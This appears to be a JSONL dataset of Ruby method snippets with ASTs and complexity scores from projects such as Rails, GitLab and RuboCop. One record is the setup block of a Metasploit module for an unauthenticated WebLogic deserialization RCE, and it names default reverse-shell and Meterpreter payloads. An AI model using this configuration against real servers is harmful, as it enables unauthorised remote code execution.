{"repo_name":"rails","file_path":"./repos/rails/actionpack/test/controller/flash_test.rb","start_line":234,"raw_source":"def test_add_flash_type_to_subclasses\n    test_controller_with_flash_type_foo = Class.new(TestController) do\n      add_flash_types :foo\n    end\n    subclass_controller_with_no_flash_type = Class.new(test_controller_with_flash_type_foo)\n    assert_includes subclass_controller_with_no_flash_type._flash_types, :foo\n  end","complexity_score":8.3,"ast_json":"{\"type\":\"def\",\"children\":[\"test_add_flash_type_to_subclasses\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"test_controller_with_flash_type_foo\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Class\"]},\"new\",{\"type\":\"const\",\"children\":[null,\"TestController\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"add_flash_types\",{\"type\":\"sym\",\"children\":[\"foo\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"subclass_controller_with_no_flash_type\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Class\"]},\"new\",{\"type\":\"lvar\",\"children\":[\"test_controller_with_flash_type_foo\"]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_includes\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"subclass_controller_with_no_flash_type\"]},\"_flash_types\"]},{\"type\":\"sym\",\"children\":[\"foo\"]}]}]}]}","id":"61c3b00d-8501-4ad3-896f-0705260e9aa5"}
{"repo_name":"rails","file_path":"./repos/rails/activesupport/lib/active_support/xml_mini/rexml.rb","start_line":103,"raw_source":"def merge!(hash, key, value)\n        if hash.has_key?(key)\n          if hash[key].instance_of?(Array)\n            hash[key] << value\n          else\n            hash[key] = [hash[key], value]\n          end\n        elsif value.instance_of?(Array)\n          hash[key] = [value]\n        else\n          hash[key] = value\n        end\n        hash\n      end","complexity_score":15.1,"ast_json":"{\"type\":\"def\",\"children\":[\"merge!\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"hash\"]},{\"type\":\"arg\",\"children\":[\"key\"]},{\"type\":\"arg\",\"children\":[\"value\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"hash\"]},\"has_key?\",{\"type\":\"lvar\",\"children\":[\"key\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"hash\"]},\"[]\",{\"type\":\"lvar\",\"children\":[\"key\"]}]},\"instance_of?\",{\"type\":\"const\",\"children\":[null,\"Array\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"hash\"]},\"[]\",{\"type\":\"lvar\",\"children\":[\"key\"]}]},\"<<\",{\"type\":\"lvar\",\"children\":[\"value\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"hash\"]},\"[]=\",{\"type\":\"lvar\",\"children\":[\"key\"]},{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"hash\"]},\"[]\",{\"type\":\"lvar\",\"children\":[\"key\"]}]},{\"type\":\"lvar\",\"children\":[\"value\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"value\"]},\"instance_of?\",{\"type\":\"const\",\"children\":[null,\"Array\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"hash\"]},\"[]=\",{\"type\":\"lvar\",\"children\":[\"key\"]},{\"type\":\"array\",\"children\":[{\"type\":\"lvar\",\"children\":[\"value\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"hash\"]},\"[]=\",{\"type\":\"lvar\",\"children\":[\"key\"]},{\"type\":\"lvar\",\"children\":[\"value\"]}]}]}]},{\"type\":\"lvar\",\"children\":[\"hash\"]}]}]}","id":"8749ee8c-99cc-4356-b2f9-586c48f3bede"}
{"repo_name":"rubocop","file_path":"./repos/rubocop/lib/rubocop/cop/style/mutable_constant.rb","start_line":140,"raw_source":"def on_assignment(value)\n          if style == :strict\n            strict_check(value)\n          else\n            check(value)\n          end\n        end","complexity_score":5.4,"ast_json":"{\"type\":\"def\",\"children\":[\"on_assignment\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"value\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"style\"]},\"==\",{\"type\":\"sym\",\"children\":[\"strict\"]}]},{\"type\":\"send\",\"children\":[null,\"strict_check\",{\"type\":\"lvar\",\"children\":[\"value\"]}]},{\"type\":\"send\",\"children\":[null,\"check\",{\"type\":\"lvar\",\"children\":[\"value\"]}]}]}]}","id":"e4ca874d-8027-435a-97f0-bb20cb1f4244"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/external_authorization/client.rb","start_line":36,"raw_source":"def post_params\n        params = { headers: REQUEST_HEADERS,\n                   body: body.to_json,\n                   connect_timeout: timeout,\n                   read_timeout: timeout,\n                   write_timeout: timeout,\n                   allow_local_requests: allow_local_requests? }\n\n        if has_tls?\n          params[:client_cert_data] = client_cert\n          params[:client_key_data] = client_key\n          params[:client_key_pass] = client_key_pass\n        end\n\n        params\n      end","complexity_score":16.4,"ast_json":"{\"type\":\"def\",\"children\":[\"post_params\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"params\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"headers\"]},{\"type\":\"const\",\"children\":[null,\"REQUEST_HEADERS\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"body\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"body\"]},\"to_json\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"connect_timeout\"]},{\"type\":\"send\",\"children\":[null,\"timeout\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"read_timeout\"]},{\"type\":\"send\",\"children\":[null,\"timeout\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"write_timeout\"]},{\"type\":\"send\",\"children\":[null,\"timeout\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"allow_local_requests\"]},{\"type\":\"send\",\"children\":[null,\"allow_local_requests?\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"has_tls?\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"params\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"client_cert_data\"]},{\"type\":\"send\",\"children\":[null,\"client_cert\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"params\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"client_key_data\"]},{\"type\":\"send\",\"children\":[null,\"client_key\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"params\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"client_key_pass\"]},{\"type\":\"send\",\"children\":[null,\"client_key_pass\"]}]}]},null]},{\"type\":\"lvar\",\"children\":[\"params\"]}]}]}","id":"dfd7362d-ac67-4a3a-aeb0-20d127b99ec6"}
{"repo_name":"brakeman","file_path":"./repos/brakeman/lib/brakeman/checks/check_link_to.rb","start_line":77,"raw_source":"def check_method(result, argument)\n    return false if tracker.options[:ignore_model_output]\n    match = has_immediate_model?(argument)\n    return false unless match\n    method = match.method\n    return false if IGNORE_MODEL_METHODS.include? method\n\n    confidence = :medium\n    confidence = :high if likely_model_attribute? match\n    warn_xss(result, msg(\"Unescaped model attribute in \", msg_code(\"link_to\")), match, confidence)\n  end","complexity_score":19.3,"ast_json":"{\"type\":\"def\",\"children\":[\"check_method\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"result\"]},{\"type\":\"arg\",\"children\":[\"argument\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"tracker\"]},\"options\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"ignore_model_output\"]}]},{\"type\":\"return\",\"children\":[{\"type\":\"false\",\"children\":[]}]},null]},{\"type\":\"lvasgn\",\"children\":[\"match\",{\"type\":\"send\",\"children\":[null,\"has_immediate_model?\",{\"type\":\"lvar\",\"children\":[\"argument\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"match\"]},null,{\"type\":\"return\",\"children\":[{\"type\":\"false\",\"children\":[]}]}]},{\"type\":\"lvasgn\",\"children\":[\"method\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"match\"]},\"method\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"IGNORE_MODEL_METHODS\"]},\"include?\",{\"type\":\"lvar\",\"children\":[\"method\"]}]},{\"type\":\"return\",\"children\":[{\"type\":\"false\",\"children\":[]}]},null]},{\"type\":\"lvasgn\",\"children\":[\"confidence\",{\"type\":\"sym\",\"children\":[\"medium\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"likely_model_attribute?\",{\"type\":\"lvar\",\"children\":[\"match\"]}]},{\"type\":\"lvasgn\",\"children\":[\"confidence\",{\"type\":\"sym\",\"children\":[\"high\"]}]},null]},{\"type\":\"send\",\"children\":[null,\"warn_xss\",{\"type\":\"lvar\",\"children\":[\"result\"]},{\"type\":\"send\",\"children\":[null,\"msg\",{\"type\":\"str\",\"children\":[\"Unescaped model attribute in \"]},{\"type\":\"send\",\"children\":[null,\"msg_code\",{\"type\":\"str\",\"children\":[\"link_to\"]}]}]},{\"type\":\"lvar\",\"children\":[\"match\"]},{\"type\":\"lvar\",\"children\":[\"confidence\"]}]}]}]}","id":"b4d5f23b-d83e-4663-a499-579950e4fa0a"}
{"repo_name":"forem","file_path":"./repos/forem/app/services/ai/subforem_finder.rb","start_line":41,"raw_source":"def get_available_subforems\n      Subforem.where(discoverable: true)\n        .where.not(id: article.subforem_id)\n        .order(hotness_score: :desc)\n    end","complexity_score":8.2,"ast_json":"{\"type\":\"def\",\"children\":[\"get_available_subforems\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Subforem\"]},\"where\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"discoverable\"]},{\"type\":\"true\",\"children\":[]}]}]}]},\"where\"]},\"not\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"article\"]},\"subforem_id\"]}]}]}]},\"order\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"hotness_score\"]},{\"type\":\"sym\",\"children\":[\"desc\"]}]}]}]}]}","id":"802f8b10-04cf-4ade-ab91-734434071816"}
{"repo_name":"rails","file_path":"./repos/rails/actionmailer/lib/action_mailer/test_case.rb","start_line":52,"raw_source":"def tests(mailer)\n          case mailer\n          when String, Symbol\n            self._mailer_class = mailer.to_s.camelize.constantize\n          when Module\n            self._mailer_class = mailer\n          else\n            raise NonInferrableMailerError.new(mailer)\n          end\n        end","complexity_score":12.2,"ast_json":"{\"type\":\"def\",\"children\":[\"tests\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"mailer\"]}]},{\"type\":\"case\",\"children\":[{\"type\":\"lvar\",\"children\":[\"mailer\"]},{\"type\":\"when\",\"children\":[{\"type\":\"const\",\"children\":[null,\"String\"]},{\"type\":\"const\",\"children\":[null,\"Symbol\"]},{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"_mailer_class=\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"mailer\"]},\"to_s\"]},\"camelize\"]},\"constantize\"]}]}]},{\"type\":\"when\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Module\"]},{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"_mailer_class=\",{\"type\":\"lvar\",\"children\":[\"mailer\"]}]}]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"NonInferrableMailerError\"]},\"new\",{\"type\":\"lvar\",\"children\":[\"mailer\"]}]}]}]}]}","id":"177d2fc5-4dfe-4406-a0e8-640a3299b089"}
{"repo_name":"rubocop","file_path":"./repos/rubocop/lib/rubocop/cop/style/if_unless_modifier.rb","start_line":124,"raw_source":"def defined_argument_is_undefined?(if_node, defined_node)\n          defined_argument = defined_node.first_argument\n          return false unless defined_argument.type?(:lvar, :send)\n\n          if_node.left_siblings.none? do |sibling|\n            sibling.respond_to?(:lvasgn_type?) && sibling.lvasgn_type? &&\n              sibling.name == defined_argument.node_parts[0]\n          end\n        end","complexity_score":18.0,"ast_json":"{\"type\":\"def\",\"children\":[\"defined_argument_is_undefined?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"if_node\"]},{\"type\":\"arg\",\"children\":[\"defined_node\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"defined_argument\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"defined_node\"]},\"first_argument\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"defined_argument\"]},\"type?\",{\"type\":\"sym\",\"children\":[\"lvar\"]},{\"type\":\"sym\",\"children\":[\"send\"]}]},null,{\"type\":\"return\",\"children\":[{\"type\":\"false\",\"children\":[]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"if_node\"]},\"left_siblings\"]},\"none?\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"sibling\"]}]},{\"type\":\"and\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"sibling\"]},\"respond_to?\",{\"type\":\"sym\",\"children\":[\"lvasgn_type?\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"sibling\"]},\"lvasgn_type?\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"sibling\"]},\"name\"]},\"==\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"defined_argument\"]},\"node_parts\"]},\"[]\",{\"type\":\"int\",\"children\":[0]}]}]}]}]}]}]}","id":"30c89306-8890-4791-b0cb-4ab42e501951"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/multi/misc/weblogic_deserialize_unicastref.rb","start_line":14,"raw_source":"def initialize(info = {})\n    super(\n      update_info(\n        info,\n        'Name' => 'Oracle Weblogic Server Deserialization RCE - RMI UnicastRef',\n        'Description' => %q{\n          An unauthenticated attacker with network access to the Oracle Weblogic Server T3\n          interface can send a serialized object (sun.rmi.server.UnicastRef)\n          to the interface to execute code on vulnerable hosts.\n        },\n        'Author' => [\n          'Andres Rodriguez', # Metasploit Module - 2Secure (@acamro, acamro[at]gmail.com)\n          'Jacob Baines',      # Vulnerability Discovery - Tenable Network Security\n          'Aaron Soto'         # Reverse Engineering JSO and ysoserial blobs\n        ],\n        'License' => MSF_LICENSE,\n        'References' => [\n          ['CVE', '2017-3248']\n        ],\n        'Privileged' => false,\n        'Platform' => %w{unix win solaris},\n        'Targets' => [\n          [\n            'Unix',\n            'Platform' => 'unix',\n            'Arch' => ARCH_CMD,\n            'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/reverse_python' },\n            'Payload' => {\n              'Encoder' => 'cmd/ifs',\n              'BadChars' => ' ',\n              'Compat' => { 'PayloadType' => 'cmd', 'RequiredCmd' => 'python' }\n            }\n          ],\n          [\n            'Windows',\n            'Platform' => 'win',\n            'Payload' => {},\n            'DefaultOptions' => { 'PAYLOAD' => 'windows/meterpreter/reverse_tcp' }\n          ],\n          [\n            'Solaris',\n            'Platform' => 'solaris',\n            'Arch' => ARCH_CMD,\n            'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/reverse_perl' },\n            'Payload' => {\n              'Space' => 2048,\n              'DisableNops' => true,\n              'Compat' =>\n                {\n                  'PayloadType' => 'cmd',\n                  'RequiredCmd' => 'generic perl telnet',\n                }\n            }\n          ]\n        ],\n        'DefaultTarget' => 0,\n        'DefaultOptions' => {\n          'WfsDelay' => 12\n        },\n        'DisclosureDate' => '2017-01-25',\n        'Notes' => {\n          'Reliability' => UNKNOWN_RELIABILITY,\n          'Stability' => UNKNOWN_STABILITY,\n          'SideEffects' => UNKNOWN_SIDE_EFFECTS\n        }\n      )\n    )\n\n    register_options([Opt::RPORT(7001)])\n  end","complexity_score":6.15,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"info\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"super\",\"children\":[{\"type\":\"send\",\"children\":[null,\"update_info\",{\"type\":\"lvar\",\"children\":[\"info\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Name\"]},{\"type\":\"str\",\"children\":[\"Oracle Weblogic Server Deserialization RCE - RMI UnicastRef\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Description\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"          An unauthenticated attacker with network access to the Oracle Weblogic Server T3\\n\"]},{\"type\":\"str\",\"children\":[\"          interface can send a serialized object (sun.rmi.server.UnicastRef)\\n\"]},{\"type\":\"str\",\"children\":[\"          to the interface to execute code on vulnerable hosts.\\n\"]},{\"type\":\"str\",\"children\":[\"        \"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Author\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"Andres Rodriguez\"]},{\"type\":\"str\",\"children\":[\"Jacob Baines\"]},{\"type\":\"str\",\"children\":[\"Aaron Soto\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"License\"]},{\"type\":\"const\",\"children\":[null,\"MSF_LICENSE\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"References\"]},{\"type\":\"array\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"CVE\"]},{\"type\":\"str\",\"children\":[\"2017-3248\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Privileged\"]},{\"type\":\"false\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Platform\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"unix\"]},{\"type\":\"str\",\"children\":[\"win\"]},{\"type\":\"str\",\"children\":[\"solaris\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Targets\"]},{\"type\":\"array\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"Unix\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Platform\"]},{\"type\":\"str\",\"children\":[\"unix\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Arch\"]},{\"type\":\"const\",\"children\":[null,\"ARCH_CMD\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DefaultOptions\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"PAYLOAD\"]},{\"type\":\"str\",\"children\":[\"cmd/unix/reverse_python\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Payload\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Encoder\"]},{\"type\":\"str\",\"children\":[\"cmd/ifs\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"BadChars\"]},{\"type\":\"str\",\"children\":[\" \"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Compat\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"PayloadType\"]},{\"type\":\"str\",\"children\":[\"cmd\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"RequiredCmd\"]},{\"type\":\"str\",\"children\":[\"python\"]}]}]}]}]}]}]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"Windows\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Platform\"]},{\"type\":\"str\",\"children\":[\"win\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Payload\"]},{\"type\":\"hash\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DefaultOptions\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"PAYLOAD\"]},{\"type\":\"str\",\"children\":[\"windows/meterpreter/reverse_tcp\"]}]}]}]}]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"Solaris\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Platform\"]},{\"type\":\"str\",\"children\":[\"solaris\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Arch\"]},{\"type\":\"const\",\"children\":[null,\"ARCH_CMD\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DefaultOptions\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"PAYLOAD\"]},{\"type\":\"str\",\"children\":[\"cmd/unix/reverse_perl\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Payload\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Space\"]},{\"type\":\"int\",\"children\":[2048]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DisableNops\"]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Compat\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"PayloadType\"]},{\"type\":\"str\",\"children\":[\"cmd\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"RequiredCmd\"]},{\"type\":\"str\",\"children\":[\"generic perl telnet\"]}]}]}]}]}]}]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DefaultTarget\"]},{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DefaultOptions\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"WfsDelay\"]},{\"type\":\"int\",\"children\":[12]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DisclosureDate\"]},{\"type\":\"str\",\"children\":[\"2017-01-25\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Notes\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Reliability\"]},{\"type\":\"const\",\"children\":[null,\"UNKNOWN_RELIABILITY\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Stability\"]},{\"type\":\"const\",\"children\":[null,\"UNKNOWN_STABILITY\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"SideEffects\"]},{\"type\":\"const\",\"children\":[null,\"UNKNOWN_SIDE_EFFECTS\"]}]}]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"register_options\",{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Opt\"]},\"RPORT\",{\"type\":\"int\",\"children\":[7001]}]}]}]}]}]}","id":"bc96b4c8-d366-4b8c-8806-83d4bae8ca1d"}
{"repo_name":"openproject","file_path":"./repos/openproject/app/services/work_packages/activities_tab/internal_comment_mentions_sanitizer.rb","start_line":52,"raw_source":"def convert_unmentionable_principals_to_plain_text\n    mentionable_principals_ids = mentionable_principals.pluck(:id)\n\n    parser.css(\"mention\").each do |mention|\n      unless mentionable_principals_ids.include?(mention[\"data-id\"].to_i)\n        mention.replace(mention.content)\n      end\n    end\n  end","complexity_score":15.4,"ast_json":"{\"type\":\"def\",\"children\":[\"convert_unmentionable_principals_to_plain_text\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"mentionable_principals_ids\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"mentionable_principals\"]},\"pluck\",{\"type\":\"sym\",\"children\":[\"id\"]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"parser\"]},\"css\",{\"type\":\"str\",\"children\":[\"mention\"]}]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"mention\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"mentionable_principals_ids\"]},\"include?\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"mention\"]},\"[]\",{\"type\":\"str\",\"children\":[\"data-id\"]}]},\"to_i\"]}]},null,{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"mention\"]},\"replace\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"mention\"]},\"content\"]}]}]}]}]}]}","id":"748b24fb-4905-4287-9b99-ee9c5d6e43af"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/helpers/access_tokens_helper.rb","start_line":38,"raw_source":"def filter_sort_scopes(scopes, sources)\n    scopes.select { |scope| ::Gitlab::Auth::UI_SCOPES_ORDERED_BY_PERMISSION.include?(scope) }\n    .sort_by { |scope| ::Gitlab::Auth::UI_SCOPES_ORDERED_BY_PERMISSION.index(scope) }\n    .map do |value|\n      {\n        value: value,\n        text: t(value, scope: sources)\n      }\n    end\n  end","complexity_score":11.1,"ast_json":"{\"type\":\"def\",\"children\":[\"filter_sort_scopes\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"scopes\"]},{\"type\":\"arg\",\"children\":[\"sources\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"scopes\"]},\"select\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"scope\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Gitlab\"]},\"Auth\"]},\"UI_SCOPES_ORDERED_BY_PERMISSION\"]},\"include?\",{\"type\":\"lvar\",\"children\":[\"scope\"]}]}]},\"sort_by\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"scope\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Gitlab\"]},\"Auth\"]},\"UI_SCOPES_ORDERED_BY_PERMISSION\"]},\"index\",{\"type\":\"lvar\",\"children\":[\"scope\"]}]}]},\"map\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"value\"]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"value\"]},{\"type\":\"lvar\",\"children\":[\"value\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"text\"]},{\"type\":\"send\",\"children\":[null,\"t\",{\"type\":\"lvar\",\